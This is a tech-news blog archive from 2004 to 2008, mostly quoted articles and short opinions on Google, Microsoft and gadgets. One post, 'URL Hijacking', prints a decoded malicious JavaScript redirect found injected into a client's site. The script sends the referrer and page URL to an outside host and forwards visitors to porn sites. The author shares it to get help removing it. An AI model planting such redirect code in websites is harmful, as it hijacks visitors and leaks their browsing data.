ePragmatic - practical solutions

FLO RIDA - LOW LYRICS

2008-01-24T14:59:00.000-05:00

FLO RIDA - LOW LYRICS

Awesome Video of the drummer during the recording of Flo Rida Low chk the You tube video ...

Flo Rida - Low lyrics

OLED TV by 2012? - I'm going NUTS with technology ...

2008-01-03T23:02:00.000-05:00

Should you wait for an OLED TV? - Fully Equipped - CNET reviews: "The one that everybody likes to talk about is OLED or Organic Light-Emitting Diode. At this year's Consumer Electronics Show in Vegas, Sony had a pack of them on display at its booth, and they were clearly one of most compelling items at a trade show that was decidedly short on wow factor. Not only is an OLED display incredibly thin (3mm to 9mm), it has a superhigh contrast ratio (allegedly, one-million-to-one), it boasts faster response times than LCD or plasma, it looks incredibly sharp with colors that really pop--and because OLED screens don't require a backlight, they're more energy efficient than plasma or LCD.

OLED screen depths are measured in millimeters."

Analysis: Why America Needs a Google Phone

2007-03-22T18:48:00.000-05:00

Analysis: Why America Needs a Google Phone

In terms of compatibility with your existing businesses, Google building a phone would be like Chrysler starting an ISP. But rumors about Google building a phone reveal plenty about the frustrations and desires of the American technorati.
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It's almost pointless to describe what the mythical Google phone will look like and do because, like the iPhone before it, it's a template for pundits to staple their wish lists. So let's boil the Google phone rumor mill – and the iPhone mill before it – down to its most primordial ooze and explain what the rumors really mean.

Read more about this article here...

URL Hijacking

2007-03-07T13:47:00.000-05:00

I noticed strange beaviour this morning on my client's website, we optimized the site and Google had indexed around 6000+ pages and was doing excellent on organic search results, however we found that our client sites URL was hijacked and it started showing some porn sites url and after investigating I found this redirection mechanism built into those pages if anybody has come across this pls pls drop ur thoughts on how to get rid of URL hijacking and stop this menance ...

It loads a page not sure how that page got onto our client's domain and that page builds a URL through javascript and does an redirection and the code I decoded is below:

location=("http://search4us.us/in.cgi?3&seoref="+encodeURIComponent(document.referrer)+ "¶meter=$keyword&se=$se&ur=1&HTTP_REFERER="+encodeURIComponent(document.URL)+"&default_keyword=lesbians");

So it takes the HTTP REFERER and the redirects the traffic to this site search4us.us and which in turn redirects to some porn sites ...Is Google aware of this?? Is google gonna drop my clients search results??

Physics promises wire-less power

2006-11-15T10:11:00.000-05:00

Wouldn't it be great to move into this future .... no cables hanging around, no need to carry all your chargers with you while travel, stay and just carry your self .... Well read the article on BBC news website ...

BBC NEWS Technology Physics promises wire-less power: "The tangle of cables and plugs needed to recharge today's electronic gadgets could soon be a thing of the past.
US researchers have outlined a relatively simple system that could deliver power to devices such as laptop computers or MP3 players without wires.
The concept exploits century-old physics and could work over distances of many metres, the researchers said. "

VIPN - Black Diamond PHONE - Unbelieveable

2006-09-10T22:42:00.000-05:00

I recently bought a MDA phone fromT-Mobile and thrilled about its usage and tons of features for a mobile user, it is loaded with MS windows Mobile edition, MS office, Terminal server client, Instant Messaging, Digital camera 1.3 mp etc etc ... and I paid $260+ ....

Anyways my thrill stopped when I saw VIPN Black Diamond phone exclusively for RICH and WEALTHY business corporate ... Coz it cost whopping $300,000 (dollars) ... Yes coz it has 2 Carats diamond and features you won't get on any phones ... Only 5 lucky people on planet Earth can buy this as it is limited quantities .... Can't believe then check it out .... VIPN - Black Diamond ... It is just awesome phone but not practical to buy ...

I wld bet Bill gates has one of this .....

The next best thing Google can do ... Google App

2006-08-30T21:20:00.000-05:00

Google Application:
It is the next best thing Google can come up with ... club all services that they provide and put it under one brand name called "Google App" now this enables small and medium business to flock to web and conduct business such as email, chat, calendar, web site and any new thing that google will introduce in future ...

In few yrs from now you can expect "Google Office" or "Google WebOS" the way to do business in 2010 ...

To find out more about it visit http://www.Google.com/a

Google Checkout, a new standard in check out

2006-07-01T10:49:00.000-05:00

Google CEO promises Google Checkout 'nanosecond' purchase cycle by ZDNet's Donna Bogatin -- It is unfortunate that a company whose name is derived from a mathematical formula cavalierly uses numerical claims as a marketing strategy.

Picasa Web Albums

2006-06-14T14:12:00.000-05:00

Just what I was waiting for ... somebody who gives capability to upload pictures and make it more intuitive for users ... Here you go with Google's/Picasa's new web based albums in beta release...

Picasa Web : Learn More: "It's available by invitation, along with the latest downloadable version of Picasa, and offers:
One-click web upload using Picasa's new Web Album button

Free storage space to post and share approximately 1000 photos, with the option to upgrade to more space
High-quality photos, automatically resized and optimized to fill available screen space
Pre-loaded images enable quick scrolling using arrow keys, and mimic a desktop experience of flipping through photos, even on the web
End-to-end photo management that makes it easy to download uploaded photos back to your computer "

Any new trends from Google

2006-05-17T19:58:00.000-05:00

If it is calm then you expect a storm from Google, just this week Google released 2 new killer apps (I would say) the Google Trends and Google Notebook, the much awaited features for web surfers like me ....

Why?
Google trends gives you an SEO like me to analyize the search engine traffic & keywords by region, country and cities, it is awesome coz now as a search engine marketer you can target those areas for those specific keywords as you have the trend....
(For fun, you can find out which country searches the most for the keyword "sex" and you will be surpirsed .... our neighboring country "pakistan" really? yes search for yourselves and see it in cities, my city tops ....)

Google notebook - you are surfing and surfing and visiting several different websites and trying to bookmark it.
I used to hate coz if my system crashes then all my favorites are gonna, i used to add all my links to favorites and gets stuck in same computers and can't access anywhere else but few months back Microsoft answered with its own web version of favorites and i started to use it coz i cld sync my desktop with all my links and access it anywhere on the web how cool is it ... Well cooler than that is Google Notebook coz now this feature allows me not only to bookmark but also add notes to it ... simple superb ... and I can access it anywhere and make notes of all sites I visit ...

I can smell something else cooking in the labs ...

Google's new add-on Writely

2006-03-13T09:32:00.000-05:00

Google recently acquired Writely, an online web based word document application to compete with MS Office, people would think why is Google after MS Office and why can't he stick to search business.... Well I was thinking the same untill I read this article and the reason is ....

"For Google, which prizes the math Ph.D.'s it has on staff, the calculation is alarmingly simple. Google makes around $16 per user per year in advertising. There are more than 300 million Microsoft Word users today. If Google persuades some of those users to use its Web-based software instead of Word, and they spend more time using other Google tools as a result, Google could boost its per-user advertising sales. Even a $1 boost per user translates to $400 million in additional revenue." .... Uhh makes sense

Read more abt it here Business 2.0: Google Office in the offing - Mar. 10, 2006:

Hotmail's founder might snatch the blog competition

2006-03-07T10:05:00.000-05:00

Hotmail one of the widely used email services founded by Sabeer Bhatia, which then was sold to Microsoft. The founder jumps into blog technology and spins off a new product/company called "Blog Everywhere" toolbar ....

The concept is very catchy, as internet is evolving around the world with people surfing and blogging information related to events, activities and websites, it is nice to have a blogging community around you ..

Blog Everywhere does this is at easy, it is a tool bar which you install on IE (they are currently working on Firefox) and it allows you to write or read blog, thus sharing a common interest ...

Will have to wait to see if he can really spin this off to hotmail ;) chk it out http://www.BlogEverywhere.com

Enhanced and improved, that's the new Windows Live Mail beta

2006-01-17T20:09:00.000-05:00

Web Mail Beta: "Enhanced and improved, that's the new Windows Live Mail beta."

Recently I got the invite from MSN's new Windows Live Mail Beta, currently testing its features it looks like Outlook 2003 with 3 pane interface and easy to use, you can select all email and delete drag and drop your emails into specific folders, everything on the web that is impressive ...

Windows Live Mail Beta screenshot

Google Pack NEW from Google

2006-01-07T20:59:00.000-05:00

HAPPY NEW YEAR 2006

Whatz New at Google? It has been few years since I started to follow Google's new innovative tools and beta them as they arrive ... This year they have a new tool called "Google Pack" What the heck is it??

Recently I puchased ThinkPad Z60t from Lenovo (IBM) and started to configure with all updates and new s/w .... Imagine this U have to download Google toolbar, Google talk, google desktop, picasa, adobe acrobat reader and all other useful tools one by one and install, why not just do it all in one shot? Can we??

Google Pack, the new setup tool provides this capability, with this new tool from Google we could install the following tools/application in minutes ...

Adobe Reader 7
Ad-Aware SE Personal
GalleryPlayer HD Images
Google Desktop
Google Earth
Google Pack Screensaver
Google Picasa Photo Organizer/Editor
Google Talk
Google Toolbar for Internet Explorer
Google Video player
Mozilla Firefox with Google Toolbar
Norton AntiVirus 2005 Special Edition
RealPlayer
Trillian

How cool is that?? at one click you have all of this software installed that's great isn't it? Now all you have to do is download this 300k size application and rest is taken care ...

The next best thing that can happen is for you to provide the list to Google Pack to install all the software applications and it does the shopstall - (shopstall - shopping for installable applications, i came up with this term :)

Anyways, here is the link Google Pack

Microsoft Office 12 PREVIEW

2005-11-24T10:50:00.000-05:00

Microsoft Office 12 Beta 1: Extreme Makeover PREVIEW DATE: 11.16.05

When Office 12 arrives sometime in the second half of 2006, you may stop hating Microsoft Office. We looked at an early, private beta version of the suite and found a lot of improvements. Although the interface is radically changed, a lot of the underlying features and commands remain the same.

We won't promise using Office 12 will be trouble-free, but so far it looks like a big step forward. (Editors' Note: "Office 12" is just a codename. The product will most likely be renamed before it ships.)

The newer version has lots of enhancements to the way we use Office

Microsoft dodges in...

2005-11-04T20:29:00.000-05:00

As Google starts to dominate its web services and solutions, Microsoft doesn't want to be left behind and has come up with a plan to wipe atleast hmm compete in this new space....

Microsoft's recently launched new web based service/portal to compete Google and Yahoo and it is called "Windows Live" .... www.Live.com I liked the Live Favorites feature it allows me to add all my favorites or import from my machine and carry along whereever I go and log on ... Yet to beta test other features like MSN and other cool stuff ...

Office Live and Windows Live represent Microsoft's next-gen platform strategy - Gartner

Windows Live is an advertising-supported service that lets users customize their own home pages with search content, RSS feeds, workspaces, applications and a new AJAX-based e-mail system called Live Mail; and Live Messenger, an updated version of Microsoft?s MSN Messenger. The free service is not designed to replace the Redmond, Wash.-based company?s MSN.com, which will continue to feature programmed content.
This is a serious contender so watch out guys here comes the monster ....

Google's NEW program Google Base

2005-10-27T13:46:00.000-05:00

Search Google Inc. intentionally/unintentionally provided a sneak peek at a looming expansion into classified advertising reports E&P. The service, named "Google Base", which was accessible at http://base.google.com, described itself as: "Google's database into which you can add all types of content. We'll host your content and make it searchable online for free."

I tried to get a sneak preview by logging in but for some reason they have disabled the logging, I tried after some time and the domain doesn't exists anymore.... strange ....

This was discovered by a british programmer who has written a program to find out all sub domains on Google.com and he discovered this new program and the word go leaked ...

Just like zillions of people who are excited about this, I'm looking fwd to catch a glimpse of it ...

Pay Per Call - Hybrid model

2005-08-23T15:26:00.000-05:00

Pay-Per-Call (PPCall) model is going to boost small and medium business to take advantage of internet surfers, the new model allows business owners to advertise on search engine but this time allowing shoppers to dial in through 1-800-XXX-XXXX(toll free) numbers and complete the transaction.

I have covered extensively on Pay Per Click models, direct Call model and SERP solution, Click below to read about Pay Per Call article . click here

New Search Engine, new dynamics

2005-08-09T08:32:00.000-05:00

Baidu.com will be the buzz word for few months as it recently went public waking up invetors across teh globe as its share price reached whopping $140 on first day of its opening.

Baidu is considered as a direct competitor for Google in China market and will block Google from growing in that reagion for nearly 1 billion users (considerig the population), which made Google to buy 2.6 % stake in their shares ....

Now about the cool feature about Baidu I liked is it can search MP3 files and provides you a link to download how cool that could get? It also allows for type of searches, of course it is all in chinese targeting local market ... Go go go Baidu !!!!

Quench your thirst for knowledge with Google Glup

2005-07-10T20:32:00.000-05:00

I just stumbled into this piece of information on Google site not sure if this really exist but you can really quench your thirst with it ....

Quench your thirst for knowledge.At Google our mission is to organize the world's information and make it useful and accessible to our users. But any piece of information's usefulness derives, to a depressing degree, from the cognitive ability of the user who's using it. That's why we're pleased to announce Google Gulp (BETA)? with Auto-Drink? (LIMITED RELEASE), a line of "smart drinks" designed to maximize your surfing efficiency by making you more intelligent, and less thirsty.

CHECK IT OUT, click here

Toss the coin

2005-06-29T20:01:00.000-05:00

Toss the coin, that's all we the users can do .... You have Google on one side of a coin and Yahoo another side and if you toss you never know which ones appears as head and which one goes behind ... this is exactly what's happening with this 2 internet giants ....

Google's new feature My Search history went live couple of months back and if you had tossed the coin you would have got Google on technology break through and innovation side ... toss it once more I will bet you will get Yahoo coz yahoo is launching the same feature inside its Yahoo toolbar where users can easily add search history results as bookmark/favorites ....

Now onto another news Yahoo recently acquired Oddpost, this is a company which specialized in web email and supposedly its features are very appealing to users and this made Yahoo to annex them so it could have the feature built into Yahoo mail, and we should see this in near future (6-8 mths) and it will be much better user interface than Google, so your toss should result as Yahoo ....

Keep tossing; you will never know whether it is heads/tails....

The World Is Flat

2005-05-28T10:17:00.000-05:00

The World Is Flat: A Brief History of the Twenty-first Century by Thomas L. Friedman

This is one amazing book people are reading to find out more about today's economy and how things are going to be affected in future .....

"World is flat ..." this words were mentioned during an interview by Friedman with Infosys Nandan Nilekan during his topic of outsourcing .... which pushed friedman to write about the flat world ....

Few things to ponder:
1. What's there for US if world is flat?
2. What's there for countries like India and China if world is flat?
3. What's there for countries like Iraq, Egypt, S.American & others if world is flat?
4. Where do we go from here ...

My analysis:
Since we remember trade happened from day 1 between Adam and Eve to export and imports some kind of exchange of information, goods, feelings etc .... It is all about demand and supply as we understand ... till 21st century we always knew this world as round revolving mass of earth where logistically we used to move n trade and exchange and allowed supremacy to those who had a fleet of ships, flights and power to trade ....

Moving fwd with this flat world anybody can play their cards anytime and will be visible by others who can participate .. it is a free trade policy after affects ... Recent news China struck a deal with south American countries for 20yr export trade relation .. A remote place in India is processing few documents for some US clients for fraction of dollars is an example of flat world ...

How to make yourself visible and attractive is beyond your imagination and you have to constantly strive to be made visible with your skills and be able to trade efficiently ... Why is it all of a sudden it looks or made to feel that this is a big issue or the people in Washington and in Europe are talking serious about this ... Well look back in history it has always been the Europeans who traded far east and west, maybe they are losing ground coz of flat world as we don't need Vasco da Gama to explore newer continents or for that matter Christopher Columbus who discovered the great America or the other side of the coin who helped Europeans to snatch the land from red Indians ...

Now all it needs is a dial up line to connect to internet world (flat world) and be able to Push n Pull trades, it could be software projects, document scanning or medical examination of patients ... the world is changing, i think about it over and over again ...

Now onto questions which i posed earlier ...
1. What's there for US if world is flat?
--> Well US changed quite a lot last 100 yrs and upheld democracy with some internal gains for the country, it gave an opportunity to immigrants who shaped this world for better with tons of innovation in hi-tech worlds, however it has played a bad role in keeping the world safer.... Moving forward the foreign policies needs to be addressed, borders and visa regulations needs to be secured and accessible to immigrants for attracting the skilled labor. It has to reduce the cost of living compared to other countires so it can lessen the outsourcing model and try to educate and improve its own working staff at affordable prices..

2. What's there for countries like India and China if world is flat?
--> Developing or developed Countries like India and China will exploit all possibilities of finding newer revenue to earn their living and be able to feed the world's 1/4th population in this 2 countries, its skilled forces will dominenat the world with lower prices due to imbalance in trade export. While the flat world will exists, it is a reminder to India and China for keeping their cost lower else what happened to US and Europe in terms of outsourcing can also occur in this countires as other countries start competing providing same kind of services for still lesser like countires in south east asia like thailand, phillipiness, pakistan and south american countries like brazil, argentian etc..

3. What's there for countries like Iraq, Egypt, S.American & others if world is flat?
As i mentioned above such countries will gain momentum by following the trend of educating and keeping them well prepared to obtain a substantial piece of the cake they either could be sub contracted or exposed to follow on the guidelines of what India and China has been doing ... or they could be used as an alternative for lower prices...

4. Where do we go from here ...
Well the game as started now, sit back and relax (u cant relax in game when ur involved mentally, nail biting situations, frustrations exists :) based on certain activites such as 9/11 can impact the rules of the game and can affect the flat world to slow down or start the game all over ... let's watch till 2010 and forecast from their onwards ...

Poetic Expressions, new blog site of mine ...

2005-05-14T12:19:00.000-05:00

Poetic Expressions, my new blogging goes live, here I express my thoughts and views through poetic words, take some time to read it ...

- Harsha

News from PC Magazine: Microsoft Reveals Longhorn Details

2005-04-21T23:54:00.000-05:00

News from PC Magazine: Microsoft Reveals Longhorn Details: "Microsoft Reveals Longhorn Details
04.15.05 Total posts: 10

By Michael J. Miller
Microsoft is slowly but surely lifting the veil of secrecy surrounding its next version of the widely used Windows operating oystem, code-named Longhorn. "

Few highlights worth knowing are:
1. The system is moving to Least-Privileged User Access as a privilege default, so that end users can't accidentally install malicious files
2. Imagine a laptop with an LCD on the outside cover, so you can still see your next appointment even when the laptop is closed
3. Longhorn, Allchin told me, will be a platform for the next ten years, with the new Avalon graphics system, the Indigo Web services system, and, eventually, the delayed WinFS file system

Yet an another learning curve for users in 2006 and this is there to stay for another 5-10 yrs ...

Google's My Search History feature

2005-04-21T22:18:00.000-05:00

About My Search History:

Ever find what you're looking for with Google, then promptly forget what you found? If so, you'll enjoy My Search History, a new service on Google Labs which lets you view and manage your search history from any computer via "My Search History" links in the upper-right corner of your Google home page and search results pages.

My Suggestions to Google which I sent to their team ...

"I have some usability features here
a) I noticed i can delete my searches in the history, Can I also organize my searches based on Labels like in Gmail that way I can see my recent searches Vs category/label history searches ....
b) Also can you guys add the feature of adding URL to this history through Google tool bar just like how blogging icon is available on toolbar, that way I can store my URL's when i come across them, it is not that I always search sometimes we do also have URL's referred/seen elsewhere which we don't want to lose ...

YAHOO Photos new avatar coming soon ...

2005-03-29T22:11:00.000-05:00

Ludicorp Research & Development Ltd."
March 25th, 2005 Yahoo Acquires Flickr

Yes it's true! Yahoo has entered into a definitive agreement to acquire Ludicorp, makers of Flickr. The announcement was made March 20 on the Flickr Blog. Pop the champagne corks!! More..."

This website allows you to upload photos and share with family and friends just like Yahoo photos but the user interface is a killer thats what made Yahoo buy them out ... the neat feature it allows you to organize your photos and also add comments to each photo right on the photo itself and also uses tags to group all your photos just like Gmail does with all its email .... MORE over this site uses AJAX coding, new web technology gaining popular in UI standards...

Web App using AJAX framework

2005-03-28T21:36:00.000-05:00

NextApp . Echo: "Echo
Echo is a framework for developing object-oriented, event-driven Web applications. Echo removes the developer from having to think in terms of 'page-based' applications and enables him/her to develop applications using the conventional object-oriented and event-driven paradigm for user interface development. Knowledge of HTML, HTTP, and JavaScript is not required. Echo is open-source software distributed under the terms of the Mozilla Public License or the GNU LGPL License."

Online DEMO

An Achievement in my Life :)

2005-03-25T09:31:00.000-05:00

Patent Pending

Html page generator system and methodThe HTML page generator can be used by any business software application User. Pre-defined HTML Templates with proprietary iTags are installed along with the product on the client system. The HTML page generator replaces these iTags with dynamic data while creating the static HTML pages. The HTML pages will contain META tags for keywords and description using the product information from the database. These static HTML pages can then be submitted to search engines in order to increase traffic to an online shop. The search engines record the information given, thereby ranking, and exposing the site to millions who search the World Wide Web.

Agent: Timothy W. Lohse Gray Cary Ware & Freidenrich LLP - East Palo Alto, CA, USInventors: Ali Jani, Harsha SarjapurClass: 715513000 (USPTO), G06F009/46 (Intl Class)Patent Application Description - Patent Application Claims

How to Write Effective Web Copy

2005-02-27T12:42:00.000-05:00

How to Write Effective Web Copy: "How to Write
Effective Web Copy

Writing effective web copy begins with an understanding of what the goals of your web site are. Are you trying to get your visitors to purchase something or have them sign up for your newsletter? Remember you are trying to get someone you can't see and have never met take a step towards building a relationship with you or your company.

1. Create a customer profile try to find out what are the needs and desires of your visitors. Below are some examples of questions you could ask:
Are they young, middle aged or senior?
Are they primarily male or female?
Are they financially secure or budget-minded?
What gets him or her excited?
What are his or her most pressing concerns?
Try to brainstorm a list of topics that might interest your target audience.

2. Create a Unique Selling Position (USP) This is a statement of 2-3 sentences that explains why you are different from everybody else. This is the unique factor that sets you apart from your competition. Make this the first thing your visitor sees when they arrive on your home page.

3. Focus on benefits most web users want to find the information about the product or service they need as fast as possible. If they land on your site, they want to know how they will benefit from buying your product or subscribing to your ezine. You will need to answer that question as clearly and concisely as possible or you will lose that visitor.

4. Use the inverted pyramid style provide a summary of your information by clearly communicating the direction of your discussion. Use informative headings and subheadings with a paragraph of of 4 to 5 lines that supports them. You only have a few seconds to grab your visitors attention. Most will simply scan for the information they are seeking.

Use bulleted or numbered lists, boldface or colored font to emphasize the points you wish to make. Include links at the end of your paragraph (or within the text) to direct visitors to other pages of your site for more in-depth information.

5. Write in an informal or personal style ? write in a unique way that differentiates you from other small businesses in a similar business or niche. It doesn't have to be elaborate or super-creative. You simply provide a style that gets the attention of your visitors.

6. Keep your sentences simple ? you are not writing to impress. You are writing to communicate. You want to pre-sell your product or service, therefore write as if you are talking to a 13 year old.

Don't use large words but opt for strong verbs over weak ones. Use the active voice instead of a passive one. i.e. Instead of "a good score was achieved by the team"...say "the team scored a season high". Speak "to" but not "at" your visitor. Keep your sentences short and snappy.

7. Include searchable keywords ? use targeted keywords in your web copy that will allow the search engines to find your site. Include these keywords in your meta tags, links and file names also.

8. Eliminate the fluff - don't waffle on in your writing. You will only bore your visitors and they will cl?ck elsewhere. Try to remove filler sentences that contain phrases like "for those of you" and "all of you".

10. Take a break ? revise your web copy after taking a break from it for several hours or a few days. This allows you to see it from a different viewpoint. You may find a better way to say something to further improve your copy.

11. Use images sparingly ? images should only be used if they relate and support your web content. If not, they will only distract the visitor from reading your web copy. Too many images will slow down the time it takes for your visitor to load your site in their browser.

12. Use effective navigation ? your navigation bar should help visitors easily find the main sections of your site. Read: How to Create an Effective Web Site Navigation Structure.

Writing effective web copy is the key to converting visitors into buyers. Getting 1000s of visitors to your web site doesn't guarantee sales. Reading your web copy should pre-sell your product with the words you use. Once you achieve this, your web site will become very profitable

Visit www.Info-sourcing.com
Info@Info-sourcing.com

4info.net Enters Mobile Search Space

2005-02-11T21:40:00.000-05:00

www.4info.net Enters Mobile Search Space
"Today, I've learned about another new company entering the mobile space called 4info.net.
4info.net provides a variety of content that's accessed via SMS (U.S. only) including:
Local Info
Stock Quotes
Sports Scores
Flight Info
Movie Times
According to their web site, several services are 'coming soon' including driving directions and comparison shopping."

What makes a successful project?

2005-02-03T19:06:00.000-05:00

productmarketing: "FBI Unable to Launch New Computer Program
Yahoo! News reports the FBI has failed to set up a computer program designed to help agents share information instantly, and though the bureau may have to scrap the $170 million project it has no realistic timetable for a workable system, a Justice Department audit showed on Thursday. Read more at FBI Unable to Launch New Computer Program.

What makes a successful project? Clear requirements, continuing executive support, and automated tools. My guess is that this project, like many large technology projects, lacks clear requirements. The best requirements are wrapped in context with user personas, goals, and use scenarios. Were these present?
# posted by Steve Johnson @ 2/3/2005"

The search engine of 2010

2005-02-03T15:07:00.000-05:00

FT.com / Home UK - The search engine of 2010: "The search engine of 2010
By Richard Waters
Published: February 1 2005 02:00 | Last updated: February 3 2005 02:00

Here are some notional news flashes from the future: May 2008. Google launches G-Life, a substitute for the fallible human memory. By searching your e-mail, instant messages and telephone calls, and with the help of voice recorders set up around the home, you can now recall everything you said or wrote."

MSN Autos - Detroit Auto Show (NAIAS) 2005 - Photo Gallery

2005-02-01T17:12:00.000-05:00

MSN Autos - Detroit Auto Show (NAIAS) 2005 - Photo Gallery: "Concept Vehicles
Concept vehicle debuts at NAIAS 2005

Click image to enlarge

Google to launch free phone calls

2005-01-24T16:43:00.000-05:00

"Google to launch free phone calls
By Ed Harris, Evening Standard
24 January 2005

Google, the company which revolutionised the internet, is planning to launch a free telephone service.
The service will link users via a broadband internet connection using a headset and a home computer.
The technology that will allow Google to move into the telecommunications market is not new. Software from London-based Skype has been downloaded nearly 54 million times around the world, but it has not been properly exploited.

BT, which connects seven out of ten British households, has developed its own internet telephone service, but has been reluctant to promote it heavily. Julian Hewitt, senior partner at Ovum, a telecoms consultancy, said: 'There is a big appeal in the fact that Google is a search operation - and of course the Google brand is a huge draw.'

A Google telephone service could be made to link with the Google search engine. A surfer looking for a clothing retailer could find the website and click on the screen to speak to the shop.
It costs almost nothing to make calls across the internet; the cost lies in the software. "

Apple Set to Launch $500 Mac

2005-01-04T14:58:00.000-05:00

HAPPY NEW YEAR 2005

Apple Set to Launch $500 Mac: "Apple Set to Launch $500 Mac
By Ian Betteridge, ExtremeiPod

January 3, 2005

In a bid to take advantage of the success of the iPod music player, Apple Computer Inc. is set to release a Mac retailing at under $500. ADVERTISEMENT A report on Mac news site Think Secret claimed that the product, code-named Q88, is expected to be announced on January 11 during Apple CEO Steve Jobs' keynote speech at Macworld Expo in San Francisco. The new Mac will utilize a 1.25GHz G4 processor and will come in a small, flat enclosure similar to that of the popular LC series of Macs from the 1990s. Although the product will be priced at under $500, this will not include a monitor or DVD-R drive, and hard drive capacity will be between 40GB and 80GB"

Exclusive: MSN Desktop Search Revealed

2004-11-16T16:49:00.000-05:00

Exclusive: MSN Desktop Search Revealed, take a look at this awesome desktop search screenshot from Microsoft in competition with Google desktop search... pretty interesting war going on ...

InsideGoogle: Google Working On TV Search?

2004-11-12T18:43:00.000-05:00

InsideGoogle: Google Working On TV Search?: "Google Working On TV Search?

This paper by Sergey Brin and other Googlers devises a way to match TV reports to news reports, by devising a software model that analyzes the closed captioning for keywords. The abstract says that the algorithm proved highly effective, matching a relevant topic 84-91% of the time, and the exact topic 64% of the time."

2004-11-12T01:05:00.000-05:00

MSN's New search avtar, it has some cool features like where you can slide to adjust your search settings/criteria, this can come handy to find sites who are not so popular or find exact match but not there yet to compeit with Google...

Eight Google Wannabes

2004-11-11T15:32:00.000-05:00

Forbes.com: Eight Google Wannabes: "Eight Google Wannabes

NEW YORK - Don't let the silly name or spartan Web design fool you, Google is a serious, powerful corporation.

While other Internet companies were splurging on Super Bowl ads, Google (nasdaq: GOOG - news - people ) was using innovative algorithms to rank search results, all the while building a loyal fan base, revenue and--gasp--earnings. Today, Google trolls 8 billion Web pages, and with business add-ons such as Blogger, Gmail and Froogle, is becoming a legitimate franchise. Last quarter, the Mountain View, Calif.-based company reaped $806 million in revenue and $212 million in earnings. Its market cap is $46 billion. "

Google's new tool - Google Deskbar with mini browser

2004-11-03T15:24:00.000-05:00

Latest from Google, they have introduced whats' called a Google Deskbar one step closer towards their own browser "GBrowser" smart way of introducing the browser... First you need to install the deskbar and the nice thing about this is if you are reading any document and highlight the word and press Ctrl + Alt + G it will have the word in the deskbar area see below picture marked in red and hit enter to be Googled... Now hidden feature press Shift + F1 ..ohh lallaa ... comes the mini browser of Google's a sneak preview of what Google is bringing out with its new browser.... see below picture....

Google's new tool Google Deskbar allows has built in mini browser (hint is this really the GBrowser???)

Google Desktop beta review by PC Magazine

2004-10-21T20:01:00.000-05:00

Next best things that could happen in terms of Search on your desktop....

Google Desktop beta review by PC Magazine: "Google Desktop beta

If you love Google, Google Desktop will be your new best friend. It indexes local files and e-mails, logs and indexes your AIM chats and surfed Web pages, and can even recover content from deleted or modified documents. It does not, however, provide the detailed field-based search available in Lookout for Outlook.

Indexes local documents, Outlook or Outlook Express e-mail, AIM chats, Web history. Searches using familiar Google syntax. Can recover changed or deleted documents from cache.

Doesn't index PDF content or index inside ZIPs. Can't rebuild index without uninstall/reinstall. Requires Internet Explorer for full function. Can't search on specific data fields."

The Seed of Apple's Innovation

2004-10-21T17:57:00.000-05:00

Very nice article and straight forward thought from the greatest person in PC World (not the greatest or richest person but most innovative and down to earth kind of person....)

The Seed of Apple's Innovation: "The Seed of Apple's Innovation
CEO Steve Jobs says among other practices, it's 'saying no to 1,000 things' so as to concentrate on the 'really important' creations

In an era when most technology outfits have tightened their belts to adapt to a slower-growing market, one company stands out for forging ahead on innovation: Apple Computer (AAPL ). Others have slashed R&D and focused on incremental advances to existing product lines. Not Apple"

eBadmash

2004-10-14T19:33:00.000-05:00

Check this out guys .... some fun during this election with an Indian candidate in the race ... lol

Badmash: "watch 'Who Wants Some Dishoom?'(flash w/sound)

Rising Expectations

2004-10-14T13:43:00.000-05:00

If you have time and want to read about the future markets and how this world is going to change in terms of new markets and how India is playing a new role in the Global economy then go ahead and read this, i read this article it was awesome and an eye opening ...

Rising Expectations: "October 1, 2004
Rising Expectations
By Edward H. Baker
Interview: How IT can help you do good by doing well, according to Professor of Business Administration at the University of Michigan C.K. Prahalad.

After authoring two books on business strategy?Competing for the Future (1994) and The Future of Competition (2003)?the subject of C.K. Prahalad's new book, The Fortune at the Bottom of the Pyramid (2004), was deceptively simple. "

Gmail Notifier

2004-10-11T21:28:00.000-05:00

My Review on this Gmail Feature

Something which was missing in Gmail that I was looking for ... finally has arrived in beta version now ...

Gmail Notifier, notifies you if any new emails drop into ur account. I was thinking Gmail would come up with a IM (Instant messenger) to solve this issue, but i guess they thought why waste time just give this notifier app.

If you have unread emails it will show all of them one by one in the system tray, after it is done you can choose the option "tell me again" like asking the granny to tell the story again heheee...

Gmail Notifier: "The Gmail Notifier is a downloadable Windows application that alerts you when you have new Gmail messages. It displays an icon in your system tray to let you know if you have unread Gmail messages, and shows you their subjects, senders and snippets, all without your having to open a web browser.
The Notifier is in beta. Before you download it, we encourage you to review the system requirements and privacy information. "

View all other features

The Wal-Martization of E-Commerce

2004-10-01T00:13:00.000-05:00

It is coming down to eBusiness as a commodity that everyone can afford, good news to consumers and business owners, this truly makes it global village for selling and buying goods....

The Wal-Martization of E-Commerce: "The Wal-Martization of E-Commerce
The self-replication of e-commerce has already started, and like an alien blob from another planet it is re-generating and multiplying itself in a fast self-repro-replication-mode "

Now all you need is a good idea to make some good money. You can start right away by getting a dot-com domain name registration for a year for much less than US$1 a month, and get a sparkling Web site for under $5 per month. For an additional $3 a month, get an encryption capability on the same site so you can offer secure online credit card transactions. Cha-ching. Plus e-mail and many other things thrown in for free.

In principal you will have almost the same basic e-commerce tools as any other large-size corporation. All that power and those business tools for under $10 per month.

CA to Lay Off 800 Workers

2004-09-30T23:15:00.000-05:00

IS IT GOOD OR BAD?

Depends on how you view it, after first debate of Kerry Vs Bush it is tough to decide what is good or bad about the iraq war, another such war happening in IT industry is "Outsourcing".... whether it is good or bad??? read the article below...

Global Warming - Good or bad
Terrorism - Good or bad
African country crises - Good or bad
OutSourcing - Good or bad

"Change is Constant", so better get used to change now or later... now read the article below and put your your 2 cents (comments) ....

CA to Lay Off 800 Workers: "CA to Lay Off 800 Workers
By Don E. Sears
September 29, 2004

Computer Associates on Wednesday announced a restructuring plan that will lay off 800 employees, or about 5 percent of its workforce, with 550 of the 800 reductions to take place in North America.
The plan is expected to bring $70 million in savings on an annualized basis to Islandia, N.Y.-based Computer Associates International Inc., once the layoffs are completely implemented. The plan will cost about $40 million, or 4 cents per fully diluted common share. The majority of the charge should occur in the second quarter of fiscal year 2005. "

Could a 'GBrowser' Spawn an 'MBrowser'?

2004-09-28T21:12:00.000-05:00

Could a 'GBrowser' Spawn an 'MBrowser'?: "Could a 'GBrowser' Spawn an 'MBrowser'?
By Mary Jo Foley, Microsoft Watch
September 26, 2004

If Google releases a browser, will Microsoft do an about-face and deliver a new stand-alone version of Internet Explorer?

